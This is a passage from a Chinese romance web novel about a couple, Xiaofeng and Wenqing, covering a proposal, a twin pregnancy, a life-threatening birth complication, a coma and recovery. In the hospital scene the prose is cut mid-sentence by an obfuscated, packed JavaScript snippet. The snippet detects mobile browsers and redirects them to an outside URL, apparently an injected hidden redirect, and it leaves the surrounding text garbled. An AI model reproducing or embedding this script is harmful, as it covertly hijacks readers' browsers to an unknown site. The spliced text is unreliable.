“有急事找他。”姜恒拨通了四弟的电话,“合同已经签了,没别的事情,我当然就忙我的事情,这也有问题。立马,回不了,两三个小时吧。” 二叔有点着急,“但是戴先生的笔记本要立马送到机场给他,他要飞了,延误了,航班要改,和澳方谈判的时间也要改,一切都又要重新来,又是不小的损失。” “可我回不来,而且这么远的距离,这点时间神仙来了都救不了。” “二叔,我可以。”晓枫打断他们的对话,直接跟免提状态下的四叔说,“四叔,你的摩托最高时速能达到多少?” “不行,晓枫…”“ 车钥匙在哪里?” “在我房间,进门…”说着,晓枫拿过爸爸的手机,直接上楼去了,她换了一身机车夹克,到二楼四叔房间,拿了车钥匙。 一边挽起头发,一边说,“二叔,你查一下对方航班的安检口信息,发信息给我。也麻烦你告诉对方,我65分钟之后到,留给他安检和登机的时间有35分钟。请他一定在安检口等我。60分钟吧,我可以的。爸爸妈妈,照顾下孩子们,我走了。” 晓枫接过二叔手里的笔记本塞进摩托车的箱子里,跨上摩托车就冲出去了。 时间滴滴答答,家里出奇安静,只有孩子们偶尔的说话声,姜恒和姜婉也默不作声,只忙着手里的晚餐。 姜文清下班回到家,顿感气氛不对,“妈妈呢?” 见大人们都不说话,他只能问孩子,“妈妈骑车出去了。” “骑摩托车?”姜文清转头问姜婉,“她帮你二叔送笔记本到机场去,应该快到了。” “二叔,可以开车去,骑车很危险,她还用的四叔的车,也不熟操作。” 二叔垂头丧气的说,“开车来不及,戴先生马上上飞机,只有一个小时时间。” “一个小时时间,去宁海机场时间也够了。怎么回事?” “不是宁海机场,是汤湖机场。”姜文清长长叹了一口气,他好想骂人,“汤湖机场,一百多公里,1个小时时间,行。” 一肚子的火,不知道冲谁发,他扯着自己的领带,走上楼。 奥斯卡跟着上了楼,“爸爸,你别担心,妈妈很厉害的。” 姜文清听不进去,完全沉浸在愤怒和担忧中,”爸爸,我没有骗你,我看过妈妈骑车的照片和视频,妈妈拿过第一名。” 说着,他跳上电脑桌的板凳,小小的身体坐在高高的板凳里面,熟练得打开电脑,点出了一个视频,正是晓枫参加S市比赛的那次,晓枫确实是第一名。 还有很多赛车的视频,都是甄康传给她的,赛事期间会请专门的摄制人员,跟拍,视频照片都会给到个人或者车队,方便赛后复盘解析。 姜文清又扯了扯领带,感觉今天这个领带勒得他无法正常呼吸。 原来她还有未被他发掘的秘密,原来文枫以前说,晓枫的热爱是这个。他的沉思被卢卡斯的喊声打断,“爸爸,爸爸。” 姜文清冲下楼,“东西送到了,晓枫正在回家的路上。” 全家人都长舒了一口气。 四叔还先回到家里,又跟二叔抬上杠。 晓枫回来了,她停好车,四叔先上前,跟她说了句辛苦。 晓枫摘下头盔,解开头发,乌黑的直发从紧紧的束缚中挣脱开来,肆意地散落在她的肩头和后背绕过,她甩甩头,又抬手轻轻将头发撩到耳后,这个简单的动作却充满了迷人的韵味,文清站在她面前,她却先开口,“对不起,让你担心了。”然后踮起脚尖,环抱住文清的脖子,脸贴脸的靠在他耳边。 文清没有想到这个时候,她还先开口道歉。因为她知道自己的这个爱人,一定会担心得要死,只要自己回来了,只要一个拥抱就可以化解这一切,但无论如何,化不开这浓到发腻的深情。 戴先生也打来电话,向二叔表达感谢,并请他放心,澳方的合同谈判,他一定尽全力,尽量挽回。 这晚,晓枫招呼三个孩子睡觉之后,自己也先睡了。 姜文清和妈妈,聊了一会,他在盘算着一件大事。 姜恒和二弟,四弟,也在聊天,二叔第一次用如此缓和的态度来谈论晓枫,这个丫头跟小妹很像,温柔的语气带着不容置疑的强势,外表是柔和的,内心却是坚毅的,勇敢而有担当,和姜家的家风很搭。四叔一直啧啧啧,“鬼也是你,神也是你。” 晓枫一觉醒来,床边是空空的,她披上外套,来到书房,看到文清正在看电脑上的视频,看到晓枫过来,文清点了暂停按钮,画面停在文枫正在跟晓枫的手腕绑绑带的画面。 晓枫坐到文清的一条腿上,点击播放键,“想文枫了?” “嗯。” 画面中的文枫一边走向监控,一边脱掉上衣,他甩掉上衣,盖到监视器上,画面全黑了,然后就没有画面了。 “那是我们的第一次。”晓枫在文清耳边,呢喃。 “文枫他~~” “他是个温柔的人。文清,我没有把你和文枫放在称的两边去衡量,没有比较,只有先后。现在,我爱的人是你。” 文清把晓枫抱回了房间。 10. 小富婆,求包养 2020年7月27日 星期一刚上班的,姜文清在办公群里面发了一条信息,“会唱这首歌的同事,请接龙,限十位,方大同《特别的人》” 嘟噜嘟噜嘟噜,很快十个人的接龙就完成了。 “打扰大家了,请继续工作。” 姜文清把接龙的十位,拉进了一个群,群名“终身大事”,群里面还有小七,和某咖啡馆的店长。谢谢大家,为了我的终身大事,麻烦大家了,这是我的计划………… 姜文清又单独和人事专员去了个信息,“这十位同事,会申请事假半天,时间是明天下午。麻烦在核算工资的时候,把他们请假和不请假的工资差额私发给我,谢谢你。” 2020年7月28日 星期二下午,小七约晓枫到了咖啡馆,事先还特意叮嘱她穿得漂亮点,晓枫不明所以,随便挑了一条连衣裙,就出门了。 坐下来,小七就问“你漂亮的衣服就这?姜文清是不是虐待你?” “人不漂亮,没有办法。你又要玩什么?” “你看,这是我上次去拍的照片”小七掏出手机给晓枫看照片,是一组裸照,别说,真的还挺好看。 晓枫有点不好意思,“你身材好,我就算了吧。” 小七又开启嘲笑模式,“你还挺有自知之明,那他们看上你什么?” “蠢吧!”说完,两人都笑了。 咖啡馆里面人不算多,每桌两三个人,有三四桌,晓枫这次点的拿铁,现在的她觉得香草拿铁太甜了。 “我们大小姐是生活太甜了,就不要太甜的饮料。” “小七,你有没有发现,这个咖啡馆的音乐很有趣。” “怎么说?” “从刚才进来,《爱我》、《爱爱爱》、《就是爱你》” “有什么奇怪的?” “都是我喜欢的歌。” 小七笑了,“原来你这么喜欢听情歌啊!” 小七随手移动了一下桌上的咖啡调糖盒子。 咖啡馆响起了,方大同的《特别的人》。 “你听,还有这首,都是我喜欢的”,小七没有理她,她也沉浸在这首歌里,轻声跟唱起来: 爱一个人或许要慷慨,若只想要被爱,最后没有了对白。 必须有你我的情真,不求计分的平等,总有幸福有心疼,生命的起伏要认可。 懂一个人也许要忍耐,要经过了意外,才了解所谓的爱。 今后的岁月,让我们一起了解,多少天长地久,有几回细水长流。 进高潮部分,咖啡馆的人都跟着合唱起来~~ 我们是对方,特别的人,奋不顾身,难舍难分,不是一般人的认真~~ 晓枫疑惑得左顾右盼,小七眉头一挑,姜文清从吧台后面走出来,拿着一束花,随着音乐唱着~~ 若只有一天,爱一个人,让那时间每一刻在倒退,生命中有万事的可能,你就是我要遇见的,特别的人。 音乐声音慢慢淡出,晓枫捂着嘴巴,眼眶湿润。 小七动了动她的手,她也朝着文清走过去,文清眼睛红红的,“晓枫,我只想跟你求证一个事情。” “嗯。” “记不记得,我们第一次见面,你跟我说的第一句话。” “嗯,记得。” “先生,孩子几岁?”两人异口同声,泣不成声。 众人懵了,只有小七回想起来,姜文清就是晓枫17岁,在店里帮忙时碰到的一位奇怪的客人,难怪一直觉得他那么面善。 “太他妈幸福了。”小七在心里呐喊。 两个抱头痛哭的人才回过神,“晓枫,如果,我当时勇敢一点就好了。对不起,我来晚了。” 她又一次被他重重的拥入怀中。 晚餐是在私厨的家庭聚餐,是姜恒特地安排的,为了庆祝姜文清求婚成功。 姜婉着急得追问,他们第一次见面的场景,晓枫幸福得讲述. “那时候,我妈妈意外去世了,小七怕我休息在家里胡思乱想,就让我去她家的母婴商店帮忙。有一天,来了个客人,我就上前去招呼,他好高,我跟着他在辅食区转了下,就问他''先生,孩子几岁?''。他也不理我,我就继续跟着他转到服饰区,我心想,这是我的工作,不理顾客也不好,我又问''先生是男孩,还是女孩?''他还是不理我,我心里真的好怕,我感觉他在看我,但是我不敢抬头看他,只能低着头,又跟着他走到玩具区,我真的,鼓了三鼓勇气,又问他''您是自用,还是送人?''还是得不到回应,我就跑到收银台找店长姐姐求救了。” 家人不解,问文清去逛母婴用品店干什么? 文清从他的视角解释说,“是Mickey生了孩子,我准备去买礼物送给她,正好谈完事情,在那个商场就进去逛逛,才知道母婴用品那么复杂。第一次看到她,就觉得好小一只,听的出来,她说话都带着哭腔,但是又很勇敢,就想逗逗她,但是她居然跑了。那时候,她还不是周洋的女朋友,还不认识文枫,如果我勇敢一点,不知道会怎么样?”说着,他揉揉晓枫的头发. “好事多磨。”四叔解释到。 文清同意让周洋带着立欧出去,单独过生日,晓枫提前两天通知了他。然后跟立欧说了,周洋爸爸是他干爹,等孩子理解能力好一些再解释。 2020年9月1日 三个孩子顺利入学,在入学之前,学校已经详细了解孩子们以及父母们的情况,提出,学校在组织活动的时候,希望有资源有技能的家长们都能积极支持。 文清和晓枫为了备孕,预约了常规的身体检查和备孕相关的检查。 他俩空腹来到医院,做完体检,是计划和爸妈二叔四叔中午餐厅见面吃饭的。 临近中午,常规的体检项目都做完了,文清剩最后一个男科的检查。 男科医生,先用指检的方法去刺激他的前列腺,姜文清有点难受,“对不起,医生,还是我自己来吧。” 他拿着精杯进了卫生间,并给晓枫发了个信息,让她等一会,就差最后这一个项目。 晓枫在外面翻着杂志,姜婉打来电话,电话好像是免提状态,传来四叔的声音,“你要不先吃点什么,一直空腹到现在,难受吧。” “不要紧,文清还有最后一个男科的检查。” “那应该花不了多长时间。尽快啊。” “你们先吃吧,别等我们了。我们可能还需要一个小时,他一般得半个多小时。” 电话那头都沉默了,饶晓枫,你要不要听听,你在说什么。晓枫却继续翻着杂志。 姜婉挂了电话,“你们这个儿媳妇,完全没有心眼,好像还有点缺心眼。” 姜恒和姜婉都有点不好意思。 等他们都到了,四叔让文清坐他身边,拿这个事情,调侃他。 文清从脸红到脚,这个傻妞,真的要好好教一下,自己老公某些器官的时间长短也拿出来说。 至从立欧和周洋家度过了一个生日会之后,两家人的关系不那么水深火热了,周洋有时候也会带着三份礼物来看孩子。 这天,人到的比较齐,周洋小七都留下来吃晚餐,姜恒请的人回家做饭,餐桌上,四叔提出想让晓枫重新捡起自己的兴趣爱好,别老围着老公孩子们转,年纪轻轻就当家庭主妇。 “你可以跟你的那些车友,组个车队,挂在我这边,一起训练,参加专业的比赛。我这边车队多,方便战术布置,当然了,你有钱投资点就更好了。” “好啊,四叔。” 文清立马抓住她的手,她调整成一字一字吐出的说话模式,“你先拟一份合同,我看看再商量。” 说完,看着文清,文清点点头。 “你把她教坏了,跟四叔我也来这一套。” “我老婆现在多少算个小富婆了,想骗他钱的人多的是,她又傻。” 小七接过话茬,“是的,她好像觉得这个世界没有坏人,什么人都敢相信,你教训她,她还振振有词,''有什么关系,穿的在身上,吃的在肚子里,别人有什么好骗的?''小姐,防人之心不可无。” 说完还自我认同的点点头,“姜文清,你是应该好好教教她。” 姜文清接着说,“她在肃平的时候,投资建教学楼,建操场,那个工程合同乱七八糟,我还要贴钱出力,帮她善后。一个败家娘们!” 话语中充满了宠溺。 “周洋,你留给她的钱,她都花了。在肃平姜家湾修了一栋教学楼,一个操场,一套净水装置,助养了几个女孩子。用的你的钱,捐赠也用的你的名字。” 听他们聊天,觉得自己像个外人的周洋,突然被点名,有点惊到了,现在听到这个,更惊愕了。在商场打滚的他此时也不知道接什么话,只低头喝水。 第二天,周洋打电话告诉晓枫,以前那个银行卡可以继续使用,他们会定时给立欧抚养费,希望她不要拒绝。 2020年12月20日 学校举办迎元旦活动,需要家长们的参与。 饶晓枫报名了啦啦队,她可以训练也可以自己上。跟姜文清商量,她给姜文清报名了孩子们的体智能测试辅助员。 28号下班前,姜文清被通知在29日安排了一个临时的会议,晓枫试探性得问了一句,能不能让周洋去帮忙。姜文清并没有多想,就答应了。晓枫打给周洋,得知他时间允许之后,告诉他29号上午8点半去晴天班,找李老师报道。她因为车队的事情,10点直接到啦啦队参加表演,不能提前去晴天班帮忙。 2020年12月29日 星期二早晨,姜文清刚进办公室,又被告知会议取消,他赶紧跟晓枫打去电话,想告诉对方,自己有时间参加活动。 但是电话没有接通,他知道晓枫在车队训练的时候,手机一般不在身上。 他直接去了学校,来到晴天班的时候,周洋已经到了。看到多来了一位爸爸,李老师是开心的,毕竟带孩子是个体力活。 晓枫10点也准时到达啦啦队,路上,她回了文清的未接来电,也没有接通,此时文清正在辅导孩子们玩体智能的项目,翻墙,钻洞,急弯,玩得不亦乐乎。 啦啦队在操场表演,只要有比赛项目结束,决出了冠亚季军就会跳一段。 这个日头有点毒,晓枫显得有点脱力。 2020年12月30日 星期三和星期二的项目和时间都一样,只是今天两个爸爸需要辅助的是向阳班,正好是立欧所在的班级。 立欧兴奋得不得了,爸爸,周洋爸爸,来来回回得喊,立欧还表演了一段街舞,两个爸爸都非常骄傲。 班上的活动结束之后,两个人到操场边的凳子上坐下,看着不远处的啦啦操表演。 “姜文清,谢谢你告诉我,晓枫在肃平的事情。幸好有你,要不然她还得在那里吃苦。” “周洋,幸好你不在。有立欧,如果你出手,我胜算不大。” 周洋一声苦笑,“我跟晓枫说过,银行卡又启用了,而且她还有爷爷遗产的继承权。对了,你们的事情解决了吗?” “正在跟澳洲BeanS协商。” “损失大吗?” “一切都值得。” “赔偿金额不小吧?” “跟钱没关系。” “面对你们,我觉得自己做什么都是错的。我想像你们一样,恋爱结婚都能得到家人的支持,想像你一样,为追求爱人,可以说出,跟钱没关系,一切都值得的话。” “周洋,她都可以为了你,忍受4针骨穿的痛苦,给你爷爷捐骨髓。我都嫉妒这份爱。哪天,你遇到一个愿为之付出生命的人你就懂了。” “晓枫!”目光始终没有离开晓枫的姜文清突然冲了出去,周洋回过头才看到晓枫晕倒在地。 虽然是冬日,但日头高悬,那光芒似要把世间万物都熔化。 她置身于那片白晃晃的阳光下,跳着跳着,意识渐渐模糊,眼神开始失焦,随后“扑通”一声,晕倒在操场上。 周洋开车,把晓枫送到了周叔叔的医院,周勇这边已经准备妥当,并询问了最近的情况,文清把最近一次体检的报告给了周勇。 检查结果是个好消息,晓枫怀孕了,6周,预产期2021年8月25日。身体没有太大问题,也许就是最近累了。在医院观察一晚之后,就回家去了。 姜恒和姜婉觉得这日子是越来越好了,全家都是欢乐的氛围。 第一次怀孕的时候,文枫被医生判了死刑,一生一死,反复煎熬; 第二次怀孕的时候,有自责,有矛盾,更多的是思念。农村的夜来的早,思念更是绵绵无期; 这一次怀孕,晓枫是集万千宠爱于一身。除了没有什么反应,能吃能喝能睡外,文清的爱更是滋润得她美极了,圆润起来的脸颊带着母性的温柔,就像盛开的花朵般娇艳欲滴,嘴唇也变得更加红润,像是清晨带着露珠的玫瑰花瓣。 2021年2月18日 三个月去医院做彩超建档的时候,又一个重磅消息—双胞胎。 姜文清40岁的人,开心得像个孩子,到公司上班,笑容是灿烂的,脚步是轻快的,没人的时候,就在办公室来回踱步。 “老婆,是双胞胎?真的是双胞胎?”他打给晓枫确认,一遍又一遍。 他一边喃喃,一边不停搓着他的双手,似乎不知道该怎么安放这份突如其来的喜悦。 2021年5月19日 二叔和四叔在客厅,听到楼上传来晓枫的叫声,“你还给我。” 二叔和四叔以为是发生了什么矛盾,准备上楼去劝劝,文清就拿着晓枫的手机下楼来,递给四叔,“你们看看,她在干什么?” 四叔接过手机,视频正在播放的是,几个肌肉男在跳舞。四叔看得津津有味,二叔凑过头来,看了一眼,“这是搞什么?” 文清就是欺负晓枫,现在身子不方便,慢慢地下楼来,他该告的状都已经说完了。 晓枫直接从四叔手上拿过手机,“我是成家了,又不是出家了。” 四叔挑着眉问,“谁给你的视频。” “小七。” “有意思的女生。” “四叔,她是个拉拉,你没有机会。而且她喜欢这种这种类型的。” 说着在自己胸前和臀部比划着,“跟我完全不一样的那种。” 姜文清说,“你承认你身材不好了。” “哦,原来是这个原因,所以,你都不碰我,现在,还不允许我看看。” 文清赶忙捂住她的嘴巴,把她架上楼。 她是不知道文清忍得有多难受,前三个月怕胎儿不稳定,孕中期即使有机会,也是胆战心惊,生怕磕着碰着。 现在她已经26周了,孕肚跟单胎30多周那样大。而且文清知道她孕后期的那种辛苦,只有照顾她的心,没有碰她的胆。 结果这个小妖精没心没肝,到处叭叭。 四叔装作很懂的跟二叔解释,“孕期欲望增强是激素作祟,估计又是男孩子。”二叔一想到有五个男孩子,将来不得把屋顶掀了,打了个寒颤,走开了。 2021年6月6日 这次确实没有孕晚期的痛苦了,因为晓枫到28周+4天就破水了。 这天是文清40岁生日,家里分外热闹,晓枫也很开心,突如其来的破水让大家手忙脚乱。 李教授让她平躺着,等救护车来接。晓枫不以为然,因为她没有出现宫缩腹痛的情况,可能问题不大。 她还准备坐车去医院,“别闹,躺下。” 文清用温柔的语气,喝止她,爸爸妈妈也连忙劝说,还是听医生的吧,躺沙发上等救护车。东西没有准备全,到时候再去买,也没有什么要担心的。 救护车很快到了,接他们去了医院。 李教授一秒上岗,用试纸一试,就得出结论是破水了,先上心电监护和胎心监护,急诊室的忙碌让众人平添几分担忧。 刚进急诊室的晓枫,还打电话给文清,让她不用担心,自己感觉良好。 没过几分钟,她就出现了头晕,呕吐的症状,文清再给她打电话就没有人接听了。 几个医生冲进急诊室,随医生进急诊室的还有几台不知道名字的仪器,“让一让”医生们没有情绪得喊着,他们不知道这一幕像一把刀扎穿了姜文清。 他愣在原地,继续拨打着晓枫的电话。周勇也换好消毒服,“是什么情况,周院长?”没人回应。 一会,有个医生出来,问哪位是家属,文清被扶到前面。“你老婆有没有什么基础疾病?” “没有。” “生育过几个孩子?” “第一胎,顺产两个儿子。第二胎,顺产一个儿子,这是第三胎。” “孕妇羊水栓塞,现在情况很危险,我想问问~~” “保大人,保大人。” “孩子已经手术剖出,抢救得及时,孩子没有出现呼吸窘迫的问题,但是太小,已经送到新生儿特护病房了。” 姜文清实在忍不住,眼泪跟断线一样,“我能进去吗?” 他想的是,生悦寻和悦觅的时候,是自己陪产的。如果刚才就陪着她,她就不会出意外了。 “羊水栓塞在破水的产妇里面会出现,如果抢救需要切除子宫,需要家属签字。” “我签,只要能救回我老婆,我签。” 二叔上前去扶住文清,他感觉这个男人已经撑不住了。 “还有刚才插管和输血的告知单,这是病危通知书,你也一起签了。” 姜文清瘫坐在板凳上,周洋和爸爸妈妈也赶来了,见众人的状态,什么也是没有敢问没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033217|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有敢说。 直到周勇从急诊室出来,“孩子的情况,孕28周+4天,哥哥38厘米,1300克,妹妹36厘米,1190克。” “晓枫呢?”文清想知道又怕知道。 羊水栓塞,羊水透过破损的子宫小血管进入了晓枫的血液循环,引发全身过敏性休克。李教授发现得及时,插管维持了她的呼吸,孩子也及时手术剖出,在新生儿特护病房。出血量有1800毫升,差不多是全身血量的一半。目前采取的抗过敏和抗凝血治疗,来维持她体内环境的稳定。今天晚上很关键。” “我能进去陪她吗?” “不行,今晚很关键。万一病情有变化~~” 听到病情有变化,文清一直摇头,退坐到板凳上,抹干眼泪不再说话。 周洋陪着姜文清在急诊室外面坐了一夜,这一夜,没有消息就是最好的消息。 2021年6月7日 这天早晨八点之后,晓枫被转移到重症监护室,需要呆三天,文清还是无法见到他。 2021年6月8日 已经陪护了三天,没有合眼的文清,仍然不愿意回家休息。 晚上,他被众人拖回了家。回家之后,他倒头就睡。 2021年6月10日 这天凌晨,姜文清才醒过来,洗了个澡,换身衣服,他去了文枫的墓地,哭了一场,又哭了一场。 “弟弟,哥没有求过你任何事情,只这一次,你一定答应哥哥。如果晓枫去找你,你一定告诉她,我在等她,孩子们在等她,让她回来。” 去到医院,得到的是一个不知道算好还是算坏的消息,情况稳定,但是人没有苏醒。 综合评定后,转入特护病房。 文清终于能见到晓枫了,这也是一种慰藉。 头发有些凌乱地散落在枕头上,也失去了光泽,双眼紧紧地闭着,长长的睫毛安静地搭在眼睑上,没有一丝颤动。 那曾经闪烁着爱意、喜悦或者嗔怒的双眸,此刻被黑暗所笼罩,眼窝下有着淡淡的青影,原本红润的嘴唇此刻失去了血色,仿佛生命力正从这脸庞上一点点地消逝。 整个人安静地躺在那里,身体像是被抽空了灵魂的躯壳,没有了往日的活力与灵动。 李教授说术后的昏迷也属常见后遗症,年龄、身体基础条件等都会影响昏迷时间和预后。 姜文清不怕,他相信他的鼓励就是晓枫苏醒的动力。 “晓枫,你看,这是哥哥,这是妹妹,辛苦你了,给我生了一对龙凤胎。你不知道,我有多高兴。”文清指着视频里面的孩子跟晓枫说着,“孩子们还在温箱,护士姐姐帮我拍的视频。她还答应我,每天都给我们拍视频看。刚才爸爸妈妈,二叔四叔都来看过你,四叔说,车队的队员想来看你,又怕打扰你休息,你要是休息好了,就起来活动一下呗。” “爸爸妈妈刚才来看了你,他们问孩子取名没有?我说这种大事得听老婆的,等你醒了,给孩子们取名字吧。” “一周了,哥哥长了200克,妹妹长了220克。孩子们是不是很棒,你也要加油。” 梦里,文枫陪着她,他们一起骑车,一起健身,一起上学… 文清在喊她,晓枫想去看看文清,文枫却喊她,不要去,要陪他打篮球。 “文枫,我爱文清。” “你不爱我了?” “我对你的爱寄托给了悦寻和悦觅,是我们的孩子。现在我和文清也有了孩子,我要去陪着他们。文枫,我爱你,但是都过去了。” 2021年6月19日 “老婆,老婆”,第9天的上午,晓枫眼球开始对光反应,心跳出现了一会儿快一会儿慢的频繁波动,呼吸也变得不规律,时深时浅、时快时慢,但其他生命体征正常,医生说这是即将苏醒的信号,所以文清就一直在呼唤自己的爱人。 茫茫一片,晓枫急切得寻着自己爱人的方向,她怕文清听不到,提高了音量,握住拳头,使尽力气,喊出了“文清”~~ “晓枫”她得到了爱人的回应,她睁开眼睛,文清的脸近在咫尺,眼睛里写满了担忧、关切还有难以言说的深情。他的发丝有些凌乱地垂落在额前,似乎已经在这里守候了许久。 晓枫试图动一动嘴唇,却觉得干涩无比,可目光却舍不得从文清的脸上移开。他的嘴唇微微颤抖着,似乎有千言万语想要诉说,又好像只是在无声地祈祷。 周围的一切仿佛都消失了,只有文清的呼吸声轻轻拂过她的脸颊,那温热的气息让她感受到一种切实的安心。 “晓枫,你醒了”,晓枫想回应他,但是无法发声。 “你别说话,我去叫医生。”医生来查体,生命体征稳定,血压偏低,继续观察。 医生来检查的间隙,文清已经将这个消息告诉所有关心他们的人。 下午病房人来人往,晓枫还插着呼吸管,还是累,她睡睡醒醒,醒着的时候,就想问问孩子们的情况,但是没法发出声音。 晚上,病房安静下来。文清来到晓枫床边,用手捋顺她的头发,摸摸她的脸庞,顺着她的手臂,握到她的手,“老婆,醒了。给你看看孩子们的视频。” 晓枫睁大眼睛,“孩子们在温箱里面已经住了9天,这是哥哥,体重长了268克,妹妹长了285克,跟你一样是个小馋猫。” 他转头看向晓枫,晓枫正在流眼泪,“别哭啊,是不是哪里不舒服?” 晓枫轻摇了下头。“是看到孩子们太开心了。” 晓枫眨了下眼睛,“我跟你一样,每天都想看两个孩子,那怕只是看视频,我都觉得好幸福。老婆,谢谢你,跟我生了两个孩子!是我没有照顾好你,让你受苦了。” 晓枫又想摇头,文清阻止了她。“你听我说完,在抢救你的时候,做了插管,所以你现在还不能说话,等恢复一段时间就好了。不怕,有我陪你。还有,如果你想看肌肉男视频,我拿给你看。” 身体颤抖幅度的加大,心电监护仪器报警了,医生来查看情况,随着情绪的慢慢稳定,心率也稳定了。 “还是别让她太激动,保持情绪稳定。” 文清笑出了声,心里在想,找到了逗这个傻妞的开关。 医生走后,文清给晓枫擦洗,换衣服,按摩,一套操作熟练得让人心疼。 “睡吧,晓枫。”晓枫做了个瞟向自己的眼神。 文清笑笑,“我睡陪护床。”俯下身给了晓枫一个吻,“我爱你,晓枫。明早见!” 他嘱咐爱人,明早一定要按时醒过来。 确认晓枫睡着以后,文清才洗澡睡觉,打开水龙头,任由热水洒在背上,他扶着浴室的墙,眼泪不争气的掉。 饮食调整,从流食开始,到半流食,从无渣饮食,到正常饮食;活动从床边,到门边,到草坪;康复训练,手部腿部,盆底肌,腹直肌… 晓枫的身体在一天天恢复。孩子们也因为体重超过2000克,转到了加护病房。 这天,护士长按照医嘱给晓枫撤走一些监护设备,轻轻的,慢慢的。 姜文清推着两个婴儿车进来,一看到护士长,他做了一个禁声的手势,低声调皮的说,“我的领导,刚才去找你,没找到。害我跟护士姐姐磨破嘴皮子,才让我把两个孩子抱出来。” “她们不守规矩,回去我扣她们工资。孩子出来有感染的风险。你想哄老婆,也考虑下孩子的情况。” “就一会会,想让我老婆看看孩子!”随后拱手致谢! 护士长当然知道,这肯定是周院长点头同意的。 文清坐在一旁,眼睛离不开两个孩子,仪器移动的声音惊醒了睡午觉的晓枫,文清,立马走上前,拍拍她,“你起来看看。” 晓枫翻身坐起来,看到了婴儿车,她赶忙下床,连拖鞋都没有穿,奔到婴儿车旁边,看到两个孩子都睡熟了,就没有去抱,怕惊着他们,又怕自己吃力。 文清在背后用双臂环着她,“老婆,谢谢你!” 晓枫转过身,捶着文清的胸口,“你怎么补偿我?” 姜文清转身从皮包里面拿出一个鼓胀的档案袋,“都是你的。“ 晓枫并不伸手去接,“你在昏迷的时候,我把这些都整理好了,万一你有什么意外,我就跟你一起走。” “你瞎说什么?这是什么?” “文枫的公证文件,我们的保险,我的各种身份证明文件,固定资产,公司股权文件,投资合同,还有保险箱的钥匙,都是你的。” 他抱紧了晓枫,“幸好,你回来了。这些都交给你。小富婆,求包养!” “那看你表现!”说完文清就抱起晓枫上了床,“鞋都不穿。” “你把婴儿车推过来,让我看着他们。” 这天晚上,没有监护仪器的干扰,他们睡在了一起,晓枫拼命在文清怀里蹭啊蹭… 11. 我觉得我实在太蠢了 2021年8月7日 这天文清扶着晓枫在楼下散步时,遇到一个西装打扮的人,喊住晓枫说。 “这位太太,是不是情路不顺?人生坎坷?你身边有一位年长的女性是你的贵人,往西走,寻一件你出生时的物品,拿回来给我,我可以给你解。” 起初他俩都以为对方是江湖骗子,但是晓枫一直在咀嚼他说的话,半信半疑得问文清,“他说的,会不会是我爸爸?我可以找到他?” “还在想啊?你身边年长的女性是谁呢?” “妈妈!” “妈妈?有意思!等她来,问问她。” “往西走?有什么人呢?还跟晓枫有关?” 妈妈很疑惑,“往西走,意大利。” “法拉利叔叔。”文清回忆起什么来了,“哎,不对,法拉利叔叔是意大利人。你看起来不像外国人或者混血?” 姜婉提醒他,“会不会是他认识的人?” “那也是大海捞针。” 晓枫觉得自己又跟大家添麻烦了,“没事没事,也许就是个骗子,不用麻烦。” 2021年8月10日 准备出院的时候,晓枫给秦姐打了个电话,确定她能来的时间。 五个孩子对于爷爷奶奶来说,太闹,家里也有点拥挤,所以他们决定搬到晓枫的房子住,就很需要秦姐的帮助。 老四,姜书宁,小名乔治。 老五,姜书夏,小名嘟嘟。 宁静的夏天,天空中繁星点点。心里头有些思念,思念着你的脸。 有了第一对双胞胎的经验,他们更是驾轻就熟,配合默契。 姜文清工作还是很忙,但是无论多晚回家,他都会在洗澡换衣服之后,去各个房间看看孩子们,总是轻手轻脚,充满爱意。 休息在家,也是抢着晓枫手里的活,不让她多做一点事。 秦姐总羡慕说,“如果我儿子经济条件好一点,也应该会过得好一些。” “秦姐,其实不管什么经济条件,日子总有自己的过法,都需要两个人爱着对方,相互体谅的。” “是不是''父爱则母静,母静则子顺,子顺则家和,家和万事兴''?” “这话好有道理哦。” “我儿子心理上有问题,我陪他去看过心理医生,听得比他多。” “没事的,有时候就是需要一点时间,慢慢来。” “姜先生那么喜欢孩子,你们可以再生几个。” “秦姐,生乔治和嘟嘟的时候…” “晓枫,你受苦了。” “一切都值得,我有爱我的老公,有五个可爱的孩子,什么都值了。” 秦姐安排了第二天的早餐,牛奶面包,芦笋,水煮荷包蛋,杂粮粥… 晓枫兴奋的说,“牛奶面包好吃,我明天跟你学学怎么做。 后来,晓枫就跟着秦姐,学做饭,按她的话说,为心爱的人洗手作羹汤,是幸福的事情。 2021年10月19日 这天,姜文清加班回家,晓枫特意给他做了一份奶油蘑菇炖鸡,看着在厨房忙碌的晓枫,文清也是幸福得心里痒痒。 连饭带汤,一口没剩,在晓枫的监督下,文清吃了顿爱意满满的宵夜。 “好吃吗?” “好吃,汤都喝了。” “我可真是太能干了。” “是啊,真能干,今晚奖励你。”这是夫妻间的加密通话。 洗完澡之后,俩人就上床缠绵,文清今天有点着急,为了不影响晓枫的体验感,他用了一些润滑油。 第二天早晨,早起准备上班的姜文清发现晓枫在发烧,而且意识模糊。 于是叫了救护车,跟正在做早餐的秦姐打了个招呼,就去了周勇的医院。 周勇也安排了李教授接诊,因为她对晓枫的情况比较了解。 到了急诊室,经李教授诊疗之后,就安排了抗过敏和退热的治疗,然后和姜文清交代病情。 原本就是关心态度的周勇,没有想到会听到这些。 “昨晚是不是同房了?” “嗯,是的。” “用过什么东西?避孕套、润滑油、玩具都算。” “润滑油。” “过敏反应,过敏引起的发热和疹子。” “她不对任何东西过敏。” “上次的手术就是因为过敏而引起的凝血反应,术后是会对一些东西产生过敏反应。” “会对什么产生过敏?” “说不定,原来不过敏的现在都有可能,所以生活上要特别注意。这次预计治疗得三天时间。” 